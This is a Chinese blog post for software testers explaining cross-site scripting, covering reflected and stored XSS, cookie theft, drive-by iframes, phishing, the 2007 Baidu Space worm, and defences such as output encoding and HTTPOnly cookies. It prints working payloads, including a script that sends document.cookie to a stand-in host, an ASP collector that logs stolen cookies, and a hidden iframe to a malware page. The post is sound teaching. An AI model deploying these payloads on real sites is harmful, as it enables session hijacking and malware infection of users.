专注:Web测试、GIS测试、性能测试、自动化测试

安全性测试:跨站脚本攻击<转>

上一篇 / 下一篇  2012-08-13 10:41:33 / 个人分类:安全性测试

什么是跨站脚本攻击

 

跨站攻击,即Cross Site Script. Execution(通常简写为XSS)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

 

跨站脚本攻击的产生是因为程序员在写程序时候的考虑不周,当然,也可能是根本没有考虑。安全方面有一句著名的话叫做,“永远也不要相信用户的输入”。

 

举个实例来说,你写了一个页面,用来显示用户输入的文章,这里显示用户部分的地方是这样的:

<div id="content"><%=sArticleContent'这里我们假设这个变量是从数据库里面取出的用户输入的文章内容%></div>

如果用户输入的都是像我这篇文章一样的普通文字,那么自然是没有问题,可是如果出现一个二把刀的用户,他一定想写一些html代码来装饰他的文章,而恰恰他只写了<h1>,忘记了后面的闭合标签,那么会出现什么……哈哈,你的页面的后面部分全部被<h1>了,字体大的没法看。之前你精心设计的页面全部乱成了一锅粥。

在这个实例里面,用户输入的只是普通的html字符,那么,他如果输入javascript字符呢,恩,如果是一个喜欢搞恶作剧的用户,也许会输入:<script>alert(document.cookie)</script>。那么会发生什么?对!cookie被暴漏无疑了。他可以利用这样的方法,做其他更危险的事情。

 

说小了,跨站攻击可以简单的就使你的页面布局混乱不堪,而更严重的是,既然骇客可以写入html代码,那他简直可以干你想到的或者你想不到的任何事情了。譬如……<iframe. src="网页木马地址" width="0" height="0"></iframe>就可以非常容易的在你的网站上插入指向一个网页木马的隐藏的框架了(通常被称之为“挂马”)。

如果简单的认为,跨站漏洞只可以对访问者造成侵害的话,那就错了。别忘记,在访问带有受到跨站攻击的网页时,你的身份也是普通用户,一方面,如果你中了他放的木马,那么从你机子上就可以轻易的下载到ftp软件中的密码信息,另一方面,如果这个时候你已经登录了管理,那么他是不是可以构造一个管理页面,并且以你的身份,让你不知不觉的操作呢,这是完全可能的,并且是经常出现的。

 

 

 

 

跨站脚本漏洞的分类

1 非持久型XSS

    非持久型XSS(Non-persistent)又叫做反射XSS(Reflect XSS),它是指那些浏览器每次都要在参数中提交恶意数据才能触发的跨站脚本漏洞。

    前一节演示的XSS漏洞属于这种类型,因为每次我们都是需要向参数name中提交恶意数据来实现跨站脚本攻击。

一般来说,凡是通过URL传入恶意数据的都是非持久型XSS。

   

<div>

<%= this.Request.QueryString["param"]%>

</div>

 

  当使用:http://local/PlatinumHRM/Logon.aspx?param=“<IMG%20"""><SCRIPT>alert("XSS")</SCRIPT>">访问时就会弹出对话框

   

2 持久型XSS

    持久型XSS(Persistent)又叫做存储XSS(Stored XSS),与非持久型XSS相反,它是指通过提交恶意数据到存储器(比如数据库、文本文件等),Web应用程序输出的时候是从存储器中读出恶意数据输出到页面的一类跨站脚本漏洞。

看个例子。

   例如BBS程序没有处理发帖正文中的恶意代码就直接存储到数据库中:

   

    然后读帖子的时候程序从数据库中读出数据,结果数据中含有的恶意代码在浏览器执行了(此处仅演示弹出对话框):

   

    这个漏洞是由于程序会把UBB代码转换成HTML代码:

   <img src="javascript.:alert('XSS')" />    IE6会解析上面的HTML代码并执行img标签src属性中的JavaScript代码,导致XSS的发生。

    持久型XSS多出现在Web邮箱、BBS、社区等从数据库读出数据的正常页面(比如BBS的某篇帖子中可能就含有恶意代码),由于不需要浏览器提交攻击参数,所以其危害往往大于非持久型XSS。

 

 

 

 常见攻击手法

1 盗取Cookie

    Cookie是Web程序识别不同的用户的标识,如果得到某人的Cookie,黑客就可以以他的身份登陆网站了,所以跨站脚本攻击的第一个目标就是拿到它。想一想,如果是Web邮箱有一个XSS漏洞,当你查看一封邮件的时候,你的身份标识已经被别人拿到,黑客就可以自由出入你的邮箱了。

    在JavaScript中可以使用document.cookie来获得当前浏览器的Cookie,所以我们一般是执行这样的代码来获得Cookie并发送到某个地方记录之:

    <script>

    document.write("<img src=http://www.xxxxx.com/getcookie.asp?c="+escape(document.cookie)+">");

    </script>    这段代码就是输出img标签并访问黑客的Web服务器的一个ASP程序。注意,这里是把当前的Cookie作为参数发送出去了哦(为了避免出现特殊字符,这里使用了escape函数对Cookie进行URL编码)。我们看看抓包的结果:

   

    然后在www.xxxxx.com上的getcookie.asp需要记录传入的参数(就是受害用户的Cookie啦),代码是这样的:

   <%

    if Request("c")<>"" then

    Set fs = CreateObject("Scripting.FileSystemObject")

    Set utfile=fs.OpenTextFile(server.mappath("a.txt"),8,True)

    outfile.WriteLine Request("c")

    outfile.close

    Set fs = Nothing

    end if

    %>

    一旦有cookie发过来,ASP程序就会把cookie写入到当前目录的a.txt文件中。

    有了Cookie,黑客就可以找一个自定义Cookie的浏览器以用户身份访问Web了。

2 盗取Cookie升级版——保持会话

    前面讲的黑客可以记录Cookie,是的,存储型Cookie倒没问题,但是如果是会话型Cookie(也就是Session)的话,过一段时间如果用户不访问页面Session也就失效了。

    为了解决Session时效性的问题,所以出现了实时记录Cookie并不断刷新页面保持Session的程序——SessionKeeper:

    

    这个工具的原理是得到用户Cookie后会自动模拟浏览器提交请求不断刷新页面以维持Session的存在。

3 页面劫持——挂马和钓鱼攻击

    当然,黑帽子黑客之所以是黑帽子的原因是经济动力,所以跨站脚本攻击也会被他们利用来为自己产生经济效益。

挂马和钓鱼是两个最好不过的生财之道了。

    所谓挂马就是在网页中添加一些恶意代码,这些代码是利用了浏览器及ActiveX控件的漏洞进行攻击的。如果你的机器上不幸存在这些漏洞,那你访问到这个页面的时候你就中木马了。在挂马行业,中你木马的人越多,你的收益就越高。

    在XSS的攻击代码中,需要用iframe或者script甚至弹出窗口引入含有网页木马的恶意代码网页/文件。类似的代码(http://hacker是一个包含恶意代码的页面):

   <iframe. width="0" height="0" src="http://hacker"></iframe>

    钓鱼攻击(Phishing Attack)我想大家都看到过,就是经常在QQ、QQ游戏、空间等地方看到的中奖信息。利用XSS漏洞的钓鱼更加隐蔽且更具欺骗性。

    因为JavaScript脚本功能强大,我们可以利用它来更改整个页面内容,所以我们就可以制造出利用真的目标域名的假页面:

   

    其实只是一个XSS引入JavaScript代码修改了页面元素而已:

      

4 XSS蠕虫的故事

    我们把那种感染能进行自我复制和传播的病毒叫做蠕虫病毒。当年攻击机器无数、造成巨大破坏的的冲击波、震荡波病毒就是蠕虫病毒。这些传统的蠕虫病毒是依靠远程缓冲区溢出进行传播,在Web2.0时代,蠕虫病毒可以利用跨站脚本漏洞进行传播。

    百度空间在07年圣诞就遭到过XSS蠕虫的传播。

    当时百度空间自定义CSS的地方过滤不严导致出现一个持久型XSS漏洞。2007年12月25日晚,有黑客写出了利用这个漏洞进行XSS攻击并自我传播的JavaScript恶意代码。感染该蠕虫的空间将会在空间中存在恶意代码并修改访问该空间的其他百度空间用户的CSS植入XSS攻击代码,还会向好友发送消息诱骗好友来访问中毒的空间。截至26日晚7点百度空间找到原因并修复漏洞,有大于8000个用户空间感染了蠕虫代码。

   

    幸好百度空间及时发现蠕虫并修复漏洞,随着时间的增加,被感染的空间将以几何级增长。由此可见,一旦在业务爆发XSS蠕虫将给业务带来巨大的损失。

 

Pasted from <http://hi.baidu.com/9856226/blog/item/40ed110b11544d35b0351d61.html>

 

 

 

防御跨站脚本攻击

1 编写安全的代码

    前面讲到,跨站脚本漏洞是由于程序在输出数据的时候没有作好处理导致恶意数据被浏览器解析造成的。所以,对付XSS漏洞最好的办法就是编写安全的代码。

1.1 安全的处理数据

    前面提到跨站脚本漏洞出现的几个场景,我们只要在输出数据的时候处理按输出的场景好数据就可以了。

    直接输出在页面的数据需要对“<”、“>”HTML编码:

   < 编码为 &lt;

    > 编码为 &gt;

输出在HTML属性中的数据不能让属性值被闭合。用双引号(")表示的属性需要编码属性值中的双引号:

   " 编码为&quot;

    用单引号(')表示的属性需要编码属性值中的单引号:

   ' 编码为&#39;

    输出到页面JavaScript中的代码也要注意编码。这个要视具体情况而定,比如上面提到的代码:

  

<div>

<%= this.Request.QueryString["param"]%>

</div>

 

    实际上需要用单引号(')闭合JavaScript代码,这里就需要按照JavaScript的语法把单引号转义:

   ' 转义为 \'

    这样就无法通过传入单引号来闭合代码了。但是还是可以利用传入“</script>”来闭合整个script标签(在JavaScript语法中,</script>闭合标签总是优先):

    <script>

    var yourname = 'a</script><script>alert()//';

    </script>    所以我们还编码传入的“<”和“>”。

    前面还提到的IE6下img标签的XSS漏洞:

   <img src="javascript.:alert(123456)" />

    这里就要限制img标签的src属性始终以http://或https://开头(白名单匹配)。

    OK,我们总结一下,防御跨站脚本漏洞的安全编码工作主要是编码输出在页面中会破坏原有代码(HTML、JavaScript甚至WML等)规则的特殊字符以及对某些标签的某些属性进行白名单检查。

1.2 提高攻击门槛

    跨站脚本攻击的主要目标之一是盗取Cookie,所以我们可以利用浏览器的安全特性来防御Cookie的盗取。注意一点,本节内容只是在存在XSS攻击的情况下减小XSS攻击的危害并提高攻击门槛,并不能完全防止XSS攻击——杜绝XSS攻击的根源还是安全的编码。

    一般来说,公司的站点很多,单独的业务就可以在子域下设置自己的cookie,而不需要别的子域使用你的cookie。比如show.qq.com的cookie就不需要在其他域下使用。这样的话,我们可以通过设置cookie的作用域来减少cookie的暴露面。在HTTP响应头的Set-Cookie字段设置域限制:

   Set-Cookie: a=123; domain=show.qq.com

    这样“a=123”就只有在show.qq.com下才能访问了。

    同理,甚至我们可以限制cookie在某一子域名某个目录下存在,在别的目录将无法访问这个cookie:

   Set-Cookie: a=123; path=/test

    “a=123”就只有在当前网站下的test目录才能访问了。即使test2目录出现XSS漏洞,攻击者也拿不到“a=123”这个cookie。

    另外,在设置Cookie的时候,可以附加一个HTTPOnly的属性,这样的话,当浏览器向Web服务器发起请求的时就会带上cookie字段,但是在脚本中却不能访问这个cookie,这样就避免了XSS攻击利用JavaScript的document.cookie获取cookie:

   Set-Cookie: a=123; HTTPOnly;

    以上的字段都可以在程序中设置的。

2 在客户端防御

    如果Web应用程序安全性好,就不存在XSS攻击。但是这个毕竟对开发人员要求太高,目前来说大部分网站还不能做到避免XSS漏洞,所以有时候我们需要在客户端进行防御(特别是在对安全要求特别高的情况)。

    完全禁止JavaScript?这是个因噎废食的办法。不能因为互联网上有病毒和黑客,我们就不上网了是不是。


TAG:

 

评分:0

我来说两句

日历

« 2024-05-17  
   1234
567891011
12131415161718
19202122232425
262728293031 

数据统计

  • 访问量: 23538
  • 日志数: 24
  • 建立时间: 2012-02-08
  • 更新时间: 2012-11-20

RSS订阅

Open Toolbar